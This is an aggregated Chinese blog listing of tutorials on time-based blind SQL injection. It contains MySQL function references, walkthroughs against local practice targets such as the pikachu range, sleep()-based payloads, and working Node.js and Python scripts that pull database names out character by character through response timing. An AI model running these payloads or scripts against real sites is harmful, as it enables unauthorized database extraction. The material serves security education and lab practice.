精华内容
下载资源
问答
  • 基于时间盲注

    2020-09-29 08:13:15
    遗憾的是,两个人不能在一起,却偏偏相遇。。。 ---- 网易云热评 一、函数介绍 1、sleep(5):暂停5秒再返回结果 ...2、if(条件,表达式1,表达式2):如果条件为真,返回表达式1,否则返回表达式2 ...

    遗憾的是,两个人不能在一起,却偏偏相遇。。。

    ----  网易云热评

    一、函数介绍

    1、sleep(5):暂停5秒再返回结果

    2、if(条件,表达式1,表达式2):如果条件为真,返回表达式1,否则返回表达式2

    3、substr('admin',2,3):从第二个位置开始截取长度为3的字符串,即dmi

    4、substring('admin',2,3):效果和上面一样

    5、substring('admin' from 2 for 1):截取一个字母,省略了逗号

    6、substring('admin' from 2):从第二个字母开始截取

    7、substring_index('1223334444','4',3):截取到4出现的第三次,即12233344

    8、rlike '^12' 或者regext '^12':正则判断是不是从12开头的字符串  例子:select * from user where pass regexp '^12';

    9、case when...then...end:判断条件,如果查询有结果返回,否则返回什么,例子:select case when username='admin' then 'admin' else 'xxx' end from user; 

    10、sdcii():获取字母的ASCII码

    11、benchmark():重复执行,例子:benchmark(10000000,sha(1))

    12、select count(*) from user a , uer b ;  select count(*) from user 得到结果再乘以结果

    13、mid():截取函数,mid("aiyoubucuo",1,1)mid("aiyoubucuo" from 1 for 1); 结果都为1

    14、left()/right():从左/从右截取的字符串 left("aiyou",1) right("aiyou",1)

    15、ord():ord("abc"),返回结果为首字母的ASCII码,a

    16、asc/desc:升序/降序排列  order by id asc;

    二、实例

    1、访问:http://192.168.152.128/aiyou/1.php?id=2

    2、构造条件语句:http://192.168.152.128/aiyou/1.php?id=2' and 1=1 --+

    3、判断数据库名称

    将条件改为:if(ascii(substr(database(),1,1))=97,sleep(4),null),如果数据库的第一个是a,就暂停4秒

     

    不停修改数字,直到106,发现停留了4秒,说明数据库的第一个字母是j

     

    再将1修改为2,判断数据库名字的第二个字母,发现正好是a

     

     

     

    禁止非法,后果自负

    欢迎关注公众号:web安全工具库

     

    展开全文
  • SQL注入—基于时间盲注 实验平台: 皮卡丘靶场—盲注(base on time) 实验原理: 输入单引号’,确定此处没有报错信息: 输入payload:kobe’ and 1=1#,发现也没有报错信息 在浏览器后台—网络中查看...

    SQL注入—基于时间盲注

    实验平台:
    皮卡丘靶场—盲注(base on time)

    实验原理:

    1. 输入单引号’,确定此处没有报错信息:
      在这里插入图片描述

    2. 输入payload:kobe’ and 1=1#,发现也没有报错信息
      在这里插入图片描述

    3. 在浏览器后台—网络中查看payload执行时间:kobe’ and sleep(5)#
      在这里插入图片描述
      此处执行了sleep(5),执行时间用了5000ms。因此此处存在SQL注入,并且是基于时间的盲注。

    4. 基于时间的延迟的payload:kobe’ and if((substr(database(),1,1))=‘a’, sleep(5), null)#
      数据库名称的第一个字符如果为’a’,就会暂停5s,否则正常执行。
      该payload没有使页面暂停5s,输入kobe’ and if((substr(database(),1,1))=‘p’, sleep(5), null)#
      在这里插入图片描述
      因此可判断,数据库名第一个字符为’p’,以此类推

    展开全文
  • MYSQL 基于时间盲注详解 主要是通过将每个字符进行8次按位与运算,结果相加得到相应的ascii码值,进而得到对应的字符,通过此特性,构造Get请求,循环url,得到ascii码值,一个ascii码值需要执行8次按位与,只需要...

    原理

    MYSQL 基于时间盲注详解

    主要是通过将每个字符进行8次按位与运算,结果相加得到相应的ascii码值,进而得到对应的字符,通过此特性,构造Get请求,循环url,得到ascii码值,一个ascii码值需要执行8次按位与,只需要判断从发送请求到返回数据的耗时大于等于sleep函数的参数,则记录按位与得到的值,最后相加并转换得到一个字符,当转换的ascii码 = 0的时候,表示没有字符了,即可退出循环,并打印该字符,与布尔盲注脚本一样,只是基于时间盲注脚本需要计算发送请求到返回数据的耗时,执行过程中,按位与运算只要响应时间大于2000ms则会记录,每8次循环之后得到一个ascii码值,再转换为字符,最后拼接字符串,这个时间是非常久的

    代码

    const axios = require('axios')
    const readline = require('readline')
    const rl = readline.createInterface({
      input: process.stdin,
      output: process.stdout
    })
    async function timeInject(url) {
      const startTime = Date.now()
      return axios.get(url).then(data => {
        console.log('[+]payload: ' + url)
        const endTime = Date.now()
        if (endTime - startTime >= 2000) {
          return parseInt(url.match(/\%\d+/)[0].replace('%26', ''))
        } else {
          return 0
        }
      })
    }
    async function main() {
      console.log('[+] Please enter url')
      let url = await new Promise((resolve, reject) => {
        rl.on('line', url => {
          resolve(url)
        })
      })
      console.log('[+] Please enter SQL')
      const startTime = Date.now()
      const sql = await new Promise((resolve, reject) => {
        rl.on('line', sql => {
          resolve(sql)
          rl.close()
        })
      })
      let flag = true
      let index = 1
      let result = ''
      while (flag) {
        let sumAscii = 0
        for (let i = 0; i < 8; i++) {
          let str =
            url +
            `?id=1' and if(ascii(substr((${sql}),${index},1))%26${Math.pow(
              2,
              i
            )},sleep(2),1) --+`
          sumAscii += await timeInject(str)
        }
        if (sumAscii !== 0) {
          result += String.fromCharCode(sumAscii)
          ++index
        } else {
          flag = false
        }
      }
      const endTime = Date.now()
      console.log(
        '\n' +
          '[+]Injection Result: ' +
          sql +
          ' = ' +
          result +
          '\n' +
          '[+]Attck Time:' +
          (endTime - startTime) / 1000 +
          's'
      )
    }
    main()
    

    结果

    在这里插入图片描述

    布尔盲注脚本一样,输入URL,SQL语句,一个字符执行8次按位与运算,只是按位与不为0的情况下会执行sleep函数,基于时间注入会开销时间,所以会时间会很长

    展开全文
  • 基于时间盲注的python脚本

    千次阅读 2019-10-07 08:59:28
    思路:重要的是构建payload,然后循环进行测试,通过对请求的时间进行判断...#时间盲注脚本 import requests import time import datetime #获取数据库长度 def database_len(): #存放跑出的结果 length=0 ...

    思路:重要的是构建payload,然后循环进行测试,通过对请求的时间进行判断payload是否正确,从而确定数据库的长度和数据库的名称.

    #encoding=utf-8
    
    #时间盲注脚本
    
    import requests
    
    import time
    
    import datetime
    #获取数据库长度
    def database_len():
       
        #存放跑出的结果
        length=0
        database=''
        print ("start get length...")
    
        for l in range(1,15):
    
            startTime1=time.time()
    
            url1 = "http://172.20.10.14/pentest/test/time/?type=1 and if(length(database())=%d,sleep(1),1)"%(l)
    
            response1 = requests.get(url1)
    
            if time.time() - startTime1 > 1:
    
                length+=l
    
        print ("the length :" , str(length))
    
           # break
    
        print ("start database sql injection...")
    database_len()
    #获取数据库名
    def database_name():
        name = ''
        for j in range(1, 15):           #根据数据库名长度自行修改15这个数值
            for i in '0123456789abcdefghijklmnopqrstuvwxyz':
                url = '''http://172.20.10.14/pentest/test/time/'''
                payload = '''?type=if(substr(database(),%d,1)='%s',sleep(2),1)''' % (
                    j, i)
                # print(url+payload+'%23')
                time1 = datetime.datetime.now()
                r = requests.get(url + payload + '%23')
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >= 2:
                    name += i
                    print(name)
                    break
        print('database_name:', name)
    
    
    database_name()
    

    跑出的效果图
    在这里插入图片描述

    展开全文
  • 0x001 时间盲注简介   时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入...以下为本次实验测试的基于时间的数字...
  • sqlmap基于时间盲注判断原理

    千次阅读 2016-08-01 10:54:01
    Sqlmap根据基于时间盲注技术来检测注入点,不需要依赖具体的sleep(n) n的大小,而是判断上次请求的响应时间是否在预期之内,不在则认为产生了时延,存在注入点。 并且采用了数学的方法, 将判断的准确度控制在...
  • 这是我第三次接触时间盲注,所以就写一个博文和大家分享一下,还能检验我对知识的掌握程度。ღ( ´・ᴗ・` ) 点开网址是把你的真实IP地址打印出来!然后立马看网页源代码什么发现都没有! 现在还没有什么想法,...
  • 基于时间盲注,本次内容会涉及到写一些脚本。 ​​这里我先简单的示范,有两个网址推荐给大家, 看一下到底能不能影响到这个数据,这里用一个插件。 ​ 这个插件更新之前还挺好用的,更新之后就不太好用了。这里...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 609
精华内容 243
关键字:

基于时间盲注